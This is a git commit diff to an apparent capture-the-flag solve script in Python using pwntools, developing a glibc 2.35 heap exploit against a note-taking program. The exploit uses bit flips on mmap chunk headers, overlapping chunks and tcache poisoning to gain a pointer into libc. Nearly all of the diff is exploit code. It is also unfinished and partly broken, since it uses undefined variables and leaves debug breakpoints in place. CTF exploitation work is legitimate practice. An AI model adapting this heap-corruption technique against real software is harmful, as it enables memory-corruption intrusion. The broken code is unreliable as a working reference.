commit 3fdfc3ca2fbe9e92a472ae55009d80eaf175174b
parent b7fd983ed9bb424d6cdf40fe580e993119f1ae7e
Author: Louis Burda <quent.burda@gmail.com>
Date: Sat, 27 Apr 2024 00:09:53 +0200
Stash fuckery
Diffstat:
M | solve/notes | | | 3 | +++ |
M | solve/solve | | | 242 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------- |
2 files changed, 205 insertions(+), 40 deletions(-)
diff --git a/solve/notes b/solve/notes
@@ -66,3 +66,6 @@ use how2heap repo to find examples exploits for vulnerable libc version 2.35
- maybe we flip a bit in the exit handler 0x1400 to jump back into main (e.g 0x1200)
- the exit handler stays registered and we keep our pointers allowing us
+
+# Nomal House of Muney does not work here, because it would unmap errno.
+
diff --git a/solve/solve b/solve/solve
@@ -1,8 +1,8 @@
#!/usr/bin/env python3
-from socket import NI_NAMEREQD
from pwn import *
from math import floor, ceil
+from IPython import embed
import ctypes
args = sys.argv[1:]
@@ -17,6 +17,7 @@ def cc():
return string.ascii_uppercase[cci].encode()
def alloc(line):
+ assert(b"\n" not in line)
io.sendline(b"a")
io.readuntil(b"Note: ")
io.sendline(line)
@@ -31,11 +32,13 @@ def free(index):
print(f"Removed note: {index}")
def edit(index, line):
+ assert(b"\n" not in line)
io.sendline(b"e")
io.readuntil(b"Index: ")
io.sendline(str(index).encode())
io.readuntil(b"Note: ")
io.sendline(line)
+ print(f"Edited note: {index}")
def cfloor(a, b):
return floor(a / b) if a >= 0 else ceil(a / b)
@@ -55,59 +58,222 @@ def flipv(index, offset, value):
flip(index, offset + bit // 8, bit % 8)
def adj(size):
- return size - 2 - 0x8 # malloc header
+ return size - 2 - 0x10 # malloc header + align
+
+#def mmap_adj(size):
+# return size - 2 - 0x1000 # page aligned malloc header
+
+def align_up(size, align):
+ if size % align != 0:
+ return size - size % align + align
+ else:
+ return size
+
+def flat(attrs, length):
+ data = bytearray(cc() * length)
+ for addr,value in attrs.items():
+ assert(addr >= 0 and addr + len(value) <= length)
+ data[addr:addr+len(value)] = value
+ data = bytes(data)
+ assert(len(data) == length)
+ return data
-def mmap_adj(size):
- return size - 2 - 0x1000 # page aligned malloc header
+pgsize = 0x1000
+
+# get_delim will alloc in powers of 2 starting at 0x78
+mmap_size_1 = 0x78 * 2 ** 11 + pgsize
+mmap_size_2 = 0x78 * 2 ** 12 + pgsize
+mmap_size_3 = 0x78 * 2 ** 13 + pgsize
+mmap_size_4 = 0x78 * 2 ** 14 + pgsize
+
+# Calculate largest tcache-able chunk size allocated by get_delim.
+tcache_size = 0x78 * 2**3 + 0x10
-gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc"' \
+gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
+ ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"'
run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
-pgsize = 0x1000
+mmap_threshold_max = 0x400000
-# NOTE: get_delim will alloc in powers of 2 starting at 0x78
-mmap_size_1 = 0x3c000 + pgsize
-mmap_size_2 = (mmap_size_1 - pgsize) * 2 + pgsize
-mmap_size_3 = (mmap_size_2 - pgsize) * 2 + pgsize
+mmap_size_1 = 0x2000000
+mmap_size_2 = 0x4000000
-print("MMAP1", hex(mmap_size_1))
-print("MMAP2", hex(mmap_size_2))
-print("MMAP3", hex(mmap_size_3))
+def mmap_adj(size):
+ assert(size > mmap_threshold_max) # single bit
+ mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25)))
+ return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes))
-# Do some alignment for later.
-_ = alloc(cc() * mmap_adj(mmap_size_1))
-_ = alloc(cc() * mmap_adj(mmap_size_2))
+print("MMAP1", hex(mmap_size_1), hex(mmap_adj(mmap_size_1)))
+print("MMAP2", hex(mmap_size_2), hex(mmap_adj(mmap_size_2)))
-# Prepare a tcache-able chunk for later.
-bin_size = 0x80
-top = alloc(cc() * adj(bin_size))
+_ = alloc(cc() * 0x10000000)
+free(_)
-# Add a padding chunk to prevent bad unmapping.
-_ = alloc(cc() * mmap_adj(mmap_size_1)) # Slightly smaller to bypass malloc.c:3376
+back = alloc(cc() * 0x10)
+
+_ = alloc(cc() * mmap_adj(mmap_size_1))
-# Create two mmap chunks.
front = alloc(cc() * mmap_adj(mmap_size_1))
-back = alloc(cc() * mmap_adj(mmap_size_1))
+embed()
+free(front)
+
+free(back)
+adjust = 0x5000
+assert(back == alloc(flat({
+ mmap_size_2 - mmap_size_1 - 8: p64((mmap_size_1 + adjust)^0b010)
+}, mmap_adj(mmap_size_2))))
+
+embed()
+
+free(front)
+assert(front == alloc(cc() * mmap_adj(mmap_size_1)))
+
+free(back)
+
+embed()
+
+# Prepare some low indexes for later.
+fake = alloc(cc() * 0x10)
+overlap1 = alloc(cc() * 0x10)
+overlap2 = alloc(cc() * 0x10)
+
+# Also allocate a tcache sized chunk for later.
+head = alloc(cc() * adj(tcache_size))
+
+# Setup filler chunks.
+adjust = 0x5000
+grid_size = mmap_size_1
+grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)]
+list(map(free, reversed(grid[adjust // grid_size:])))
+
+overlap_size = mmap_size_3
+free(overlap1)
+overlap = alloc(flat({
+ overlap_size - grid_size - 16: p64(0),
+ overlap_size - grid_size - 8: p64(grid_size - adjust % grid_size)
+}, overlap_size))
+
+overlap2 = alloc(flat({
+ grid_size - (overlap_size % grid_size) - 8: p64(overlap_size)
+}, grid_size))
+
+embed()
+
+# Alloc large chunk to overlap freed filler chunks.
+#chunk = next((i, size) for (a, (i, size)) in mem.items() if a
+overlap_size = mmap_size_3
+
+fill_tail = overlap_size - fill2[2] * grid_size
+free(overlap)
+overlap_map = {
+ fill_tail-16: p64(0),
+ fill_tail-8: p64(len(fill2))
+}
+for i in range(len(fill2)):
+ offset = overlap_size - (i+1) * grid_size
+ size = len(fill1) * grid_size + adjust if i == 0 else fill_size
+ if offset-16 >= 0: overlap_map[offset-16] = p64(0)
+ if offset-8 >= 0: overlap_map[offset-8] = p64(size^0b010)
+assert(overlap == alloc(flat(overlap_map, mmap_adj(overlap_size))))
+
+# Free fillers to make space for fake chunk, fill2[0] adjusts the address.
+list(map(free, fill2))
+
+# Allocate another block to overlap with adjusted chunk.
+free(fake)
+fake_size = mmap_size_3
+guard_offset = fake_size - adjust
+assert(fake == alloc(flat({
+ guard_offset-8: p64(tcache_size^0b001)
+}, mmap_adj(front2_size))))
+
+embed()
+
+# Free fake chunk into tcache.
+free(guard)
+
+# Free other chunk into same tcache.
+free(head)
+
+
+embed()
+
+padding_size = mmap_size_1
+head_size = mmap_size_1
+back_size = mmap_size_1
-# Flip back chunk size to overlap with front, new size 0x7e000.
flip_size = 0x40000
-flipv(back, -8, flip_size)
+assert(flip_size & back_size == 0)
-io.interactive()
+back_new_size = mmap_size_3
+assert(back_new_size > back_size ^ flip_size)
+
+front_adjust = 0x5000
+front_new_size = mmap_size_3
+head_free_size = front_new_size - front_size + front_adjust
+assert(front_new_size > back_size ^ flip_size)
+
+front_offset = back_new_size - flip_size
+assert(front_offset > 0 and front_offset <= mmap_adj(back_new_size)-8)
+
+head_offset = front_offset + front_size
+assert(head_offset > 0 and head_offset <= mmap_adj(back_new_size)-8)
+
+front_new_offset = front_offset + front_adjust
+assert(front_new_offset > 0 and front_new_offset <= mmap_adj(back_new_size)-8)
+
+
+
+# Prepare a tcache-able chunk for later.
+top = alloc(cc() * adj(tcache_size))
+
+# Get some buffer space.
+padding = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(6)]
+
+# Create front and back chunks with one in between for padding.
+head = alloc(cc() * mmap_adj(head_size))
+front = alloc(cc() * mmap_adj(front_size))
+back = alloc(cc() * mmap_adj(back_size))
+
+# Flip back chunk size to overlap with front.
+flipv(back, -8, flip_size)
# Free the back chunk with fake size. This unmaps the front chunk as well.
-# It also adjusts the internal mmap_threshold to mmap_size_1 ^ flip_size.
+# It also adjusts the internal mmap_threshold to back_size ^ flip_size.
free(back)
-assert(mmap_size_3 > mmap_size_1 ^ flip_size)
-# Free and realloc back chunk with content to overwrite header.
-# We pretend front chunk is a small, non-mmaped tcache-able chunk.
-data = cc() * mmap_adj(mmap_size_3)
-offset = mmap_size_3 - flip_size
-back = alloc(data[:offset-8] + p64(bin_size^0b1) + data[offset:])
+# Realloc back chunk with content to overwrite both front and head chunk headers.
+# We use this to control the size of the head chunk, and with it the number of
+# pages that are unmapped on free => the position of front chunk after realloc.
+# This is important to setup the bit flip into libc.
+back = alloc(flat({
+ front_offset-16: p64(0),
+ front_offset-8: p64(front_size^0b010),
+ head_offset-16: p64(0),
+ head_offset-8: p64(head_free_size^0b010),
+}, mmap_adj(back_new_size)))
+
+# Free head and front chunk.
+free(head)
+free(front)
-io.interactive()
+# Reallocate front chunk to move pointer it forward into freed space.
+front = alloc(cc() * mmap_adj(front_new_size))
+free(front)
+
+# Realloc back a bit behind front to overwrite again.
+free(back)
+_ = alloc(cc() * mmap_adj(mmap_size_1))
+
+# Overwrite front header again, now pretending it is a non-mmaped tcache-able chunk.
+back = alloc(flat({
+ mmap_size_1-8: p64(tcache_size^0b001)
+}, mmap_adj(back_new_size)))
+
+embed()
+
+# WOW: can actually do this with just double-free..
+# We just free and reallocate bigger. Howw did this take so long to get.
# Free front chunk into tcache.
free(front)
@@ -115,19 +281,15 @@ free(front)
# Free another chunk into same tcache.
free(top)
-io.interactive()
-
# Now the fd pointer of 'top' chunk is the fake chunk near libc.
# We use our second bit flip to make it point into libc.
flipv(top, 0, 0x400000)
-io.interactive()
-
# Pop top chunk from bin.
-top = alloc(cc() * adj(bin_size))
+top = alloc(cc() * adj(tcache_size))
# Allocate the buffer in libc.
-libc = alloc(cc() * adj(bin_size))
+libc = alloc(cc() * adj(tcache_size))
# use edit to fixup the data